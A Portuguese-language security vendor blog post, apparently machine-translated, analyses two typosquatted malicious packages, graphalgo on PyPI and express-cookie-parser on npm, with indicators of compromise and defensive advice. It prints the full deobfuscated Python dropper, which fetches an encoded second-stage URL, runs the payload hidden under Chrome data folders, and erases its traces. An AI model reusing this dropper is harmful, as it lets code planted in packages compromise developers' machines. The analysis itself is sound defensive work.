Ataques à cadeia de suprimentos de software em 2025 - pacotes maliciosos - pacotes python maliciosos - pacotes npm maliciosos

Um olhar mais atento aos ataques à cadeia de suprimentos de software em 2025: campanhas PyPI e npm comparadas

A Xygeni observou recentemente um padrão preocupante no cenário de ataques à cadeia de suprimentos de software em 2025, surgindo em dois gerenciadores de pacotes populares: PyPI e npm. Como parte de nossos esforços contínuos de inteligência contra ameaças,Alerta Antecipado de Malware (MEW) da Xygeni A ferramenta identificou uma instância distinta, mas metodologicamente semelhante, de um pacote malicioso carregado anteriormente em outro registro. Este caso destaca como os agentes de ameaças estão evoluindo e reutilizando técnicas de ataque em ecossistemas, especialmente por meio de pacotes Python maliciosos e pacotes npm maliciosos, o que aumenta o risco de pacotes maliciosos se infiltrarem em cadeias de suprimentos de código aberto.

MEW de Xygeni: Identificando as semelhanças

A ferramenta MEW da Xygeni foi desenvolvida para detectar e sinalizar pacotes maliciosos, especialmente aqueles vinculados a Ataques à Cadeia de Suprimentos de Software em 2025, assim que forem publicados em registros de código aberto. Ela funciona analisando novos pacotes em busca de comportamento suspeito.

Neste caso, identificou dois pacotes Python maliciosos (graphalgo no PyPI) e pacotes npm maliciosos (express-cookie-parser no npm).

Pacotes maliciosos Python e npm em ataques à cadeia de suprimentos de software (2025)

Vamos explorar as características compartilhadas que acionaram nossos alertas:

Typosquatting

Ambos tentaram imitar pacotes populares existentes.

  • graphalgo (PyPI)"Pacote Python para criar e manipular gráficos e redes.” Enviado por um usuário chamado “larrytech” em 13 de junho de 2025, este pacote se apresentou como uma alternativa PyPi ao projeto original não malicioso graphalgo, que mais tarde foi renomeado para graphdict.
  • analisador de cookies expresso (npm): Este pacote imitou o conhecido pacote cookie-parser, até mesmo espelhando seu README.md. Essa personificação é uma tática clássica para alavancar a confiança existente.

Ofuscação como primeira linha de defesa

Ambos os pacotes ofuscaram seu código malicioso dentro dos arquivos originais. Para gráfico, o código ofuscado foi encontrado dentro /utils/load_libraries.py. No caso de analisador de cookies expresso, cookie-loader.min.js continha a carga ofuscada.

Essa camada inicial de ofuscação é normalmente usada para dificultar a inspeção casual e a análise estática. A ofuscação foi bastante simples: compressão ZLib repetida mais codificação Base64. Esse tipo de ofuscação indica claramente que o software está tentando ocultar seu comportamento. Juntamente com outras evidências, isso permitiu que o Xygeni MEW classificasse os pacotes como malware em potencial. Durante a fase de confirmação, nossos revisores prepararam prontamente um script de desofuscação que revelou a etapa do dropper, obviamente maliciosa.

Entrega de carga útil em vários estágios e um ponto de origem compartilhado

Ambos os pacotes funcionaram como “iniciaisconta-gotas”, preparando o cenário para a carga útil real. Eles compartilhavam uma “externa” comumsemente” URL do arquivo:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Este arquivo semente externo idêntico é um forte indicador de um agente de ameaça compartilhado. Curiosamente, o conteúdo deste arquivo semente parece consistir em simples variáveis ​​de ambiente (por exemplo, JWT_SECRET, PORT), o que pode levar a uma inspeção enganosa de sua função real.

Resolução C2 dinâmica com um DGA

Uma tática sofisticada observada nesses pacotes maliciosos é o uso de um Algoritmo de Geração de Domínio (DGA) para resolver o servidor de Comando e Controle (C2) dinamicamente. Essa técnica, frequentemente vista em ataques avançados à cadeia de suprimentos de software em 2025, depende de um hash SHA256 derivado do conteúdo do arquivo semente, combinado com outros valores codificados. Ao fazer isso, a infraestrutura C2 muda com frequência, tornando a lista negra tradicional muito menos eficaz. Nesse caso, a variante npm usou um valor fixo de 496AAC7E como parte de sua lógica DGA.

Estabelecendo Persistência

Ambos os atacantes buscavam estabelecer uma presença duradoura nos sistemas afetados. Sua estratégia envolvia remover um arquivo, startup.py (para PyPi) ou startup.js (para npm), em diretórios comuns de dados de usuários do Google Chrome em vários sistemas operacionais (Windows, Linux, macOS).

Limpeza pós-execução

Para minimizar os rastros, ambos os scripts maliciosos realizaram operações de limpeza. Isso incluiu a exclusão dos arquivos dropper iniciais (load_libraries.py, cookie-loader.min.js) e modificar arquivos de pacotes legítimos (__init__.py, index.js) para remover as referências aos componentes agora excluídos.

Indicadores de comprometimento em pacotes maliciosos Python e npm

  • Pacote PyPI: graphalgo (publicado por larrytech, 13 de junho de 2025)
  • Pacote npm: express-cookie-parser (especificamente versão 1.4.12)
  • Acesso à URL de Semente Compartilhada

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Nomes de arquivos persistentes: startup.py (Pitão) startup.js (JavaScript)
  • Caminhos persistentes comuns (dependentes do sistema operacional): Dentro dos diretórios de dados do usuário do Google Chrome (por exemplo, AppData\Local\Google\Chrome\UserData\Scripts\ no Windows, ~/.config/google-chrome/Scripts/ no Linux, etc.).

Como se defender contra pacotes maliciosos em ataques à cadeia de suprimentos de software em 2025

Este incidente serve como um valioso estudo de caso no cenário de ameaças em evolução de ataques à cadeia de suprimentos de software em 2025. Ele destaca como pacotes Python e NPM maliciosos podem se infiltrar em ecossistemas confiáveis, muitas vezes escapando da detecção até que seja tarde demais. É por isso que a detecção precoce, ferramentas inteligentes e higiene proativa do sistema são agora partes essenciais de qualquer fluxo de trabalho seguro de DevOps. Os desenvolvedores são incentivados a considerar o seguinte:

Revisão de Dependência

Se seus projetos incluíram gráfico or analisador de cookies expresso, seria prudente prosseguir com sua remoção.

  • Para PyPI: pip uninstall graphalgo
  • Para npm: npm uninstall express-cookie-parser

Higiene do Sistema

Considere realizar uma verificação completa do sistema. Também é aconselhável verificar manualmente os caminhos comuns do diretório de dados do usuário do Chrome em busca de qualquer erro inesperado. startup.py or startup.js arquivos.

Medidas de segurança proativas

  • Avalie novas dependências: Estabeleça uma rotina para avaliar cuidadosamente novos pacotes antes da integração, concentrando-se naqueles de editoras desconhecidas.
  • Integrar ferramentas de segurança: Ferramentas como o MEW da Xygeni, juntamente com outras Análises de Composição de Software (SCA) soluções podem fornecer uma camada crítica de defesa ao identificar comportamentos suspeitos e vulnerabilidades.
  • Ultimo privilégio: Operar ambientes de desenvolvimento com o princípio do menor privilégio pode ajudar a limitar o impacto potencial de um comprometimento.
  • Conscientização da rede: Monitorar o tráfego de rede de saída para conexões incomuns às vezes pode revelar comunicações C2 geradas por DGA.

Principais componentes de load_libraries.py (de graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Manipula a busca de arquivos de URLs especificadas.
  • run_process(): Executa scripts Python externos de forma separada, suprimindo a saída para permanecer discreto.
  • get_output_file_path(): Determina o local ideal do sistema para o arquivo startup.py persistente.
  • remove_self():Orquestra a limpeza pós-execução dos arquivos maliciosos iniciais e modificações de pacotes.
  • simple_shift_encrypt() / simple_shift_decrypt(): Funções criptográficas personalizadas para obscurecer canais de comunicação, cruciais para a implementação do DGA.
  • load_libraries(): A função central que coordena todo o processo de várias etapas, desde o download inicial até a execução e limpeza final da carga útil.

resultado

Assim como com outros pacotes potencialmente maliciosos identificados pelo MEW, o firewall de dependências protegeu imediatamente os usuários que incluíssem esses pacotes maliciosos em suas dependências. Após a confirmação, seguimos os procedimentos de notificação para ambos os registros, que, após análise, removeram ambos os pacotes.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
você recebe uma avaliação gratuita de 7 dias da nossa licença Business Edition e pode aproveitar alguns dos recursos avançados da plataforma SecurityScorecard.
Não é necessário cartão de crédito

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni